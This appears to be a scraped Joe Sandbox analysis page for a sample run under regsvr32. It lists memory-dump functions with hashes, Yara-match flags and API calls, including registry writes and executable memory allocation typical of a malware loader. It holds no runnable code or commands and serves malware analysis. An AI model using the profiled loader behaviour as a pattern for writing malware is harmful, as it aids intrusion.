Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3258a50e5650563d70db5156f58ea88c102a1120cd99d253f35d355558781531
Instruction ID: 13a395b2a4095e423e29841214ee634d99f4822f2b1fba27b6761566426c2c85
Opcode Fuzzy Hash: 3258a50e5650563d70db5156f58ea88c102a1120cd99d253f35d355558781531
Instruction Fuzzy Hash: C72236B4A00B059FDB24DF68C984AAABBF1FF48304F118A6DD85A9B751D730F942CB50

Function 026324B0 Relevance: .5, Instructions: 479COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ef32cea41392b6c269e894d3ebf8e47fbc880b5cc681ca769ed0986be4e5704
Instruction ID: bd8a7c6659de89f4f3c43e517fb5a9b1566226a7f9329c220351649aa2eab851
Opcode Fuzzy Hash: 9ef32cea41392b6c269e894d3ebf8e47fbc880b5cc681ca769ed0986be4e5704
Instruction Fuzzy Hash: 682259B0A00B05DFDB29CF69C590AAABBF1FF48304F248A6DD85A97755D730E941CB90

Function 04F9CF08 Relevance: .4, Instructions: 429COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54a19d4bb2a1054924f4bfc2abc68d4f449b9e1de2d679b882cf74b481fb4666
Instruction ID: c2927590cec753e5ec479fdb0b05317197056962312c0a8fc0706200f239fccf
Opcode Fuzzy Hash: 54a19d4bb2a1054924f4bfc2abc68d4f449b9e1de2d679b882cf74b481fb4666
Instruction Fuzzy Hash: CBD16631718B498BEF68DF68D849AADB7E5FB58705F10422DD84BC3250DF34E9528B81

Function 04F9E1C0 Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a66aa8eccb36b3c863fa0cf2326f118ce4658279e53cce5a51b176019e00911a
Instruction ID: 1dccef8cb21e36b5386d73aac26a876969c809443c89d691966362e766a8156e
Opcode Fuzzy Hash: a66aa8eccb36b3c863fa0cf2326f118ce4658279e53cce5a51b176019e00911a
Instruction Fuzzy Hash: F6D13D31518A488BDF59DF28C889AEAB7E1FF98310F14466DE84ACB155EF30E946CB41

Function 04F9DDE4 Relevance: .4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d17924f1650dce35aa6cfa67234e302229330514130ed1fd0e34ce5b20ef98f
Instruction ID: 2c99fc6a52e2593ece6c8e0f5f5e684088348905184981ab900f477660b42dad
Opcode Fuzzy Hash: 5d17924f1650dce35aa6cfa67234e302229330514130ed1fd0e34ce5b20ef98f
Instruction Fuzzy Hash: 9EB18430714A099BEF59EF28C8957B9B3D1FB98304F644169D84AC7295EB20FC47CB91

Function 6C942280 Relevance: .4, Instructions: 372COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d57a398fa13efdc8df233538f0cd81fe3e3bb24426d25ef52964593492f5def1
Instruction ID: b336b09ee131423c6e85b5563b785c105dde9ee2dbba2b6257dde936cd80e02e
Opcode Fuzzy Hash: d57a398fa13efdc8df233538f0cd81fe3e3bb24426d25ef52964593492f5def1
Instruction Fuzzy Hash: 6AC1AB73B049258BDB248D2988D46A973E7FBC6348B2F8235D96AE7E45D530DC4687C0

Function 6C860250 Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b43d758f956380e17e0ea8bdc4eaeabb30f3746df891c799236fb4b9d83c82c
Instruction ID: e03789eee5ef33bb7d66ec8d7636b52145f7521e060346bdf6c63235570fd78a
Opcode Fuzzy Hash: 8b43d758f956380e17e0ea8bdc4eaeabb30f3746df891c799236fb4b9d83c82c
Instruction Fuzzy Hash: 64B10471E157158FDB12DE7EC882269F7F1AF9A240F50C72AE821B7B22D731A8818754

Function 04F9F0A4 Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2464d5d1c8744b7938e622091fc8299d1c098dc56941e33080af8fbc6eb05a52
Instruction ID: 6d2e832f0cb2e69ba9f163e96da8fc90a4999a4e2344a7e6039c5a4fd27456cf
Opcode Fuzzy Hash: 2464d5d1c8744b7938e622091fc8299d1c098dc56941e33080af8fbc6eb05a52
Instruction Fuzzy Hash: D9A12E31508A4C8FDB55EF28C889BEAB7F5FB58315F10466EE84AC7160EB30E645CB81

Function 6C8808D0 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb46d79dae15c942d667b557196e484b81de2d22df671f1988f90bb148d79945
Instruction ID: b984a832ba0502f764e09349d50b2ca26040872501f17a295e3105b4e5ac7e32
Opcode Fuzzy Hash: fb46d79dae15c942d667b557196e484b81de2d22df671f1988f90bb148d79945
Instruction Fuzzy Hash: B5713831F061694FDB34CE98C8D07AEB7A2BB89308F098939D855ABB41D7B56D4487C0

Function 6C85ECF0 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de312ee73e1e2adf0f8bebf661d28d6d06a9755f07752b9532fd994750b8078b
Instruction ID: dd895e23a3eb849988d3a51bf932e035fdffc5d24f5cb2cd1a41755c05e13e3c
Opcode Fuzzy Hash: de312ee73e1e2adf0f8bebf661d28d6d06a9755f07752b9532fd994750b8078b
Instruction Fuzzy Hash: C4A14AB2A087119BD304DF69C89079FF7E2AFC8314F1AC93DE8D997244D774A8419B82

Function 6C8E983E Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94eba6d781ebc1c1d7c47eb575eef4d2e1e786fb3627b677d46712156f41787e
Instruction ID: bf7bc2b66cc4521358f0fb8e44228f5689d25dea7a8a70cecfca252b09825013
Opcode Fuzzy Hash: 94eba6d781ebc1c1d7c47eb575eef4d2e1e786fb3627b677d46712156f41787e
Instruction Fuzzy Hash: 57714AB1D052B48FDB188FA884E02FDBFF1AF4E304F194A6ED4656B782C2B54505CBA0

Function 6C85E7C0 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16680fe2527dd008dab47f0d0a31f9962e1fa7f62734803eb83872ffad3b7a24
Instruction ID: 12f55eace831e89479368bbe66a1df39b96eb763b5e6bdf2c986447106a3ca94
Opcode Fuzzy Hash: 16680fe2527dd008dab47f0d0a31f9962e1fa7f62734803eb83872ffad3b7a24
Instruction Fuzzy Hash: 30812A72E083119BD308CF65C89075FF7E2EFC8714F5AC93EA89997244D7B4D8419A82

Function 6C85EA60 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 420d36a4ea2870a3c0e647c5f9c196378d914757c0c4666ce4e9ffb5a7371a06
Instruction ID: dbf0f18baa36bc0b697f0b6f8cbb0ffa3b90436902238c396795baa3370bd58c
Opcode Fuzzy Hash: 420d36a4ea2870a3c0e647c5f9c196378d914757c0c4666ce4e9ffb5a7371a06
Instruction Fuzzy Hash: 2E810872E083159BD308CF65C89079FF7E2AFC8714F5AC93EB89997244D7B4D8419A82

Function 6C89EE00 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c9de16f4954e8af8e564267b53219a02c31ce2d6b72e34f73b91563588eb583
Instruction ID: 73087d1546b6f97fa29430602bb6fdbe74f74ab0b21d1b0a1d2c75d20ecf06d3
Opcode Fuzzy Hash: 1c9de16f4954e8af8e564267b53219a02c31ce2d6b72e34f73b91563588eb583
Instruction Fuzzy Hash: CD51C3316052018FD724CE1DC6C0B9ABBA1FF89318F148ABDDD5A8BB55EB31A845C7C1

Function 6C942994 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 761526eb16a9fecece05c1d8f18392742579a54206e6b5a52a43904422d3fe76
Instruction ID: 9906e89dfe735f3cc0331a29d617fb64b017cb3e691bb9f309d89fc2b8a941de
Opcode Fuzzy Hash: 761526eb16a9fecece05c1d8f18392742579a54206e6b5a52a43904422d3fe76
Instruction Fuzzy Hash: F5315E75B183164BD30CCE3DE994A5BB7D3ABC8610F05CA3DB985C3788DA30DC0A8692

Function 6C943860 Relevance: 45.8, APIs: 25, Strings: 1, Instructions: 339COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D8FE
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D903
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D908
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D90D
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D912
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D917
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D91C
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D921
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D926
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D92B
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D930
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D935
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D93A
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D93F
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D944
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D94C
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D951
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D956
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D95B
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D960
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D965
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D96A
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D96F
abort.MSVCRT(?,?,6C94832C), ref: 6C94D974
abort.MSVCRT(?,?,6C94832C), ref: 6C94D979

Strings

@, xrefs: 6C943841

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: abort
String ID: @
API String ID: 4206212132-2766056989
Opcode ID: 7b6a53d1aaa988504b4b9512edd5e02bec40b6afb7733d98d21be32dd2d56591
Instruction ID: d1efdbc09a3b9b77615f2a8dd2abb84be1cac987aa0be2708cee5b6d7e2c6c49
Opcode Fuzzy Hash: 7b6a53d1aaa988504b4b9512edd5e02bec40b6afb7733d98d21be32dd2d56591
Instruction Fuzzy Hash: 2EB114766093298FD710CE3CD494359F7E6BB85318F09C6AED99497B91D335E808C781

Function 6C943530 Relevance: 40.7, APIs: 27, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 346ed67f86ca77db754b8ff293cdafe38839864ce3485ef0f306bf9ef41f5d01
Instruction ID: cc88bdb1642de57f344a224e0b6c5226e894bc0cfd72c6975d48d15148dbb72b
Opcode Fuzzy Hash: 346ed67f86ca77db754b8ff293cdafe38839864ce3485ef0f306bf9ef41f5d01
Instruction Fuzzy Hash: E251BE71A093869FE715CF3AC081726BBE4BF85328F18C69DD9994BB51C335E845CB81

Function 6C9436C0 Relevance: 39.1, APIs: 26, Instructions: 135COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D8F9
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D8FE
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D903
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D908
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D90D
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D912
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D917
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D91C
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D921
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D926
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D92B
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D930
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D935
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D93A
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D93F
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D944
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D94C
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D951
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D956
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D95B
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D960
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D965
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D96A
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D96F
abort.MSVCRT(?,?,6C94832C), ref: 6C94D974
abort.MSVCRT(?,?,6C94832C), ref: 6C94D979

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 02e3fa1f6f04c225c8bba10b1fb910da49bf9270e79760ced16625e116d2958a
Instruction ID: 56d17b2d3f203784a1c7f9e81bc9967af4336b9858939d9d706989608890f36e
Opcode Fuzzy Hash: 02e3fa1f6f04c225c8bba10b1fb910da49bf9270e79760ced16625e116d2958a
Instruction Fuzzy Hash: BA3103B56097099FC300CF79D49135AB7EABB86B54F40C52AE6A487B52D338E818CB51

Function 026354D0 Relevance: 37.0, APIs: 14, Strings: 7, Instructions: 263registrymemorysleepCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,02647584,00000000,00020019,?), ref: 02635517
_memset.LIBCMT ref: 02635558
VirtualAlloc.KERNEL32(00000000,0264BF98,00003000,00000040), ref: 02635596
RegCloseKey.ADVAPI32(?), ref: 026355C1
VirtualFree.KERNEL32(0264C7D4,00000000,00008000), ref: 02635615
_memset.LIBCMT ref: 02635679
_memset.LIBCMT ref: 0263569D
_memset.LIBCMT ref: 026356AF
VirtualAlloc.KERNEL32(00000000,0264BF98,00003000,00000040), ref: 02635736
RegCreateKeyW.ADVAPI32(80000001,02647584,?), ref: 026357A9
RegDeleteValueW.ADVAPI32(?,02647500), ref: 026357BC
RegSetValueExW.ADVAPI32(?,02647500,00000000,00000003,00000000,00000065), ref: 026357D4
RegCloseKey.ADVAPI32(?), ref: 026357DE
Sleep.KERNEL32(00000BB8), ref: 0263580E

Strings

e, xrefs: 026354EC
!jWW, xrefs: 02635640
i, xrefs: 02635668
{vU_, xrefs: 02635636
_, xrefs: 0263565E
., xrefs: 0263564A
l, xrefs: 02635654

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: _memset$Virtual$AllocCloseValue$CreateDeleteFreeOpenSleep
String ID: !jWW$.$_$e$i$l${vU_
API String ID: 2494566644-159827627
